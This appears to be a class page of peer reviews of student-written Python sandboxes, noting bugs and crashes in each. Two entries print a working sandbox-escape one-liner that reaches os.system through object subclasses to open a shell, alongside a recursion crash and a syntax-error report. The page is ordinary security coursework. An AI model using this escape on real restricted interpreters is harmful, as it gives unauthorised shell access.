Ajay Shenoy

Abhinav1911

Analysis:

The sandbox is written in Python. It takes in a file and filters the input programs (written in a subset of Python) for allowed strings, but disallowed imports.

Sandbox Escape:

This sandbox had the flaw of a sandbox escape, I managed to get to the windows cmd or Unix sh with the following code through lots of digging!!:

```
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"].system('sh')
```

Or

```
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"].system('cmd')
```

Also system is also available:

```
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["sys"]
```

aot221

Analysis:

The sandbox is written in Python. It also takes in a username and a password, which is more or less unnecessary, more over it was a waste of time installing a module that was most likely not needed other than to hash a password, and lastly I had to restart my terminal in order to login. It takes in a file and filters the input programs (written in a subset of Python) for allowed strings, which include a few built-in functions, arithmetic operators, and 2 numbers 0 and 9, all other numbers are missing. No bugs or exploits were found.

Justinvalcarcel

Analysis:

The sandbox is written in Python. It takes in a user input for a file and filters the input programs (written in a subset of Python) for disallowed strings.

Sandbox Escape:

This sandbox had the flaw of a sandbox escape, I managed to get to the windows cmd or Unix sh with the following code:

```
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"].system('sh')
```

Or

```
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["os"].system('cmd')
```

Also system is also available:

```
().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].__dict__["sys"]
```

CallMeSteve

Analysis:

The sandbox is written in Python. It takes in specified file by the sandbox and filters the input programs (written in a subset of Python) for disallowed strings. This sandbox also specifies various resource limitations on what the user can do. No bugs or exploits were found.

Crash & generation:

Seg fault by means of negative number in fib function.

```
def fib(n):

   if n == 0: return 0

   elif n == 1: return 1

   else: return fib(n-1)+fib(n-2)
```

```
print fib(-1)
```

Unauthorized memory access made by the function that goes in an infinite loop

Piyushbjadhav

Analysis:

The sandbox is written in Python. It takes in specified file by the sandbox and filters the input programs (written in a subset of Python) for disallowed strings. This sandbox also specifies various resource limitations on what the user can do. No bugs or exploits were found.

WilsonLiCode

Analysis:

There was a bug found while running the sandbox. It was a syntax error that checked the file type of the parameters

The code reads as follows:

```
try:
    if !sys.argv[1].endswith(".py"):
            print "Sandbox only supports .py files"
            exit(1)


    code = open(sys.argv[1], 'r').read()
    .........
```

The not operator is used incorrectly. It should be written as:

```
try:
    if not sys.argv[1].endswith(".py"):
            print "Sandbox only supports .py files"
            exit(1)
```

```
code = open(sys.argv[1], 'r').read()

.........
```

In order to run.

Crash & generation:

```
if !sys.argv[1].endswith(".py"):

Syntax error: Invalid syntax
```

Professors sandboxes

Analysis:

The easytocode.py sandbox is written in Python. It filters input programs (written in a subset of Python) for disallowed strings, replaces the module / built-ins namespace, and execs the code. No bugs or exploits were found.

The potentiallyhackablesandbox.py sandbox is written in Python. It filters input programs (written in a subset of Python) for disallowed strings, replaces the built-ins namespace, and execs the code from specified file. No bugs or exploits were found.

The a-sandbox.py sandbox is written in Python. It filters input programs (written in a subset of Python), replaces the module, and execs the code with a small amount of asci characters. No bugs or exploits were found.